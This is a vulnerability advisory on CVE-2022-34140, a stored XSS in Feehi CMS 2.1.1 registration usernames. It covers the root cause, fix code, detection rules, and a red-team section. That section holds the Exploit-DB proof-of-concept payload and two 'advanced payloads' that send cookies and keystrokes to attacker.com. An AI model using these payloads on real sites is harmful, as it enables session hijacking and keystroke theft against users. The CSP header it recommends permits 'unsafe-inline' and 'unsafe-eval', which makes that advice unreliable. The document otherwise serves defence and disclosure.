CVE-2022-34140

Executive Summary

CVE-2022-34140 is a stored cross-site scripting (XSS) vulnerability in Feehi CMS version 2.1.1. The flaw resides in the user registration endpoint /index.php?r=site%2Fsignup, where the username field is not properly sanitized. An attacker can register an account with a malicious payload in the username, and when any user (including the attacker) views an article page, the payload executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly documented with a proof-of-concept exploit, and no official patch has been released.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but affects a standalone PHP CMS. The risk is limited to instances where the CMS is deployed and user registration is enabled.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view an article)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction and only allows limited data exfiltration or UI manipulation, but it can be chained with other attacks.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the user registration flow. The username field is stored in the database without proper encoding or validation. When the CMS renders any article page, it likely fetches and displays the username of the currently logged-in user (or the article author) without escaping HTML entities. The payload "><script>alert(document.cookie)</script> breaks out of an existing HTML attribute context and injects a script tag.

Root Cause: The application uses echo $username or similar unsanitized output in the view layer, rather than using htmlspecialchars() or a templating engine that auto-escapes.

Attack Flow:

1. Attacker navigates to the signup page.
2. Attacker enters a malicious username like "><script>alert(document.cookie)</script>.
3. The username is stored in the database.
4. When any user (including the attacker) visits an article page, the CMS renders the username without escaping.
5. The script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Feehi CMS 2.1.1):

// In user registration controller
$username = $_POST['username'];
// No sanitization
$user->username = $username;
$user->save();

// In view (article page)
echo $user->username; // Unsanitized output

Patched Code (Hypothetical):

// In user registration controller
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
$user->username = $username;
$user->save();

// In view (article page)
echo htmlspecialchars($user->username, ENT_QUOTES, 'UTF-8');

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Feehi CMS 2.1.1 installed and accessible.
• User registration enabled.

Exploit Steps:

1. Navigate to https://target.com/index.php?r=site%2Fsignup.
2. Fill in the registration form. In the username field, inject:

   "><script>alert(document.cookie)</script>
   

3. Complete all required fields and submit.
4. Log in with the newly created account.
5. Browse to any article page. The XSS will trigger.

Exploit Code (from Exploit-DB):

# Exploit Title: Feehi CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
# Date: 02-08-2022
# Exploit Author: Shivam Singh
# Vendor Homepage: https://feehi.com/
# Software Link: https://github.com/liufee/cms
# Profile Link: https://www.linkedin.com/in/shivam-singh-3906b0203/
# Version: 2.1.1 (REQUIRED)
# Tested on: Linux, Windows, Docker
# CVE : CVE-2022-34140

# Proof of Concept:
# 1-Sing-up https://localhost.cms.feehi/
# 2-Inject The XSS Payload in Username:
# "><script>alert(document.cookie)</script> fill all required fields and
# click the SignUp button
# 3-Login to Your Account, Go to any article page then XSS will trigger.

Advanced Payloads:

• Session hijacking: "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
• Keylogger: "><script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team

Detection:

• Monitor registration logs for unusual usernames containing <script>, onerror, onload, or other HTML/JS patterns.
• Use WAF rules to block payloads in the username field.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting:

• Search database for usernames containing HTML tags.
• Review web server logs for requests to /index.php?r=site%2Fsignup with suspicious POST data.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /index.php?r=site%2Fsignup with username containing <script> or similar patterns.
  • Outbound connections to attacker-controlled domains from the CMS server.

• Host:

  • Database entries in the user table with username containing HTML/JS code.
  • Web server logs showing successful registration followed by article page views from the same IP.

• File:

  • No specific file IOCs; the vulnerability is data-driven.

Detection Engineering

YARA Rule

rule CVE_2022_34140_Stored_XSS_Username {
    meta:
        description = "Detects stored XSS payloads in Feehi CMS username field"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2022-34140"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: Feehi CMS Stored XSS via Username
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Feehi CMS registration
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/index.php?r=site/signup'
        cs-username|contains:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate usernames containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-34140 Feehi CMS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/index.php?r=site/signup"; http_uri; content:"username"; nocase; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable user registration if not required.
2. Apply input validation and output encoding manually:
   • In registration controller: $username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
   • In all views: echo htmlspecialchars($user->username, ENT_QUOTES, 'UTF-8');
3. Implement Content Security Policy (CSP) header: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; (adjust as needed).

Long-term:

• Upgrade to a patched version if released.
• Conduct a security audit of the entire CMS codebase.
• Use a modern PHP framework with built-in XSS protection (e.g., Laravel's Blade templating).

Workarounds:

• Use a Web Application Firewall (WAF) to block malicious payloads.
• Restrict registration to trusted users only.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: D6ABC808ACC4410748036C27] */}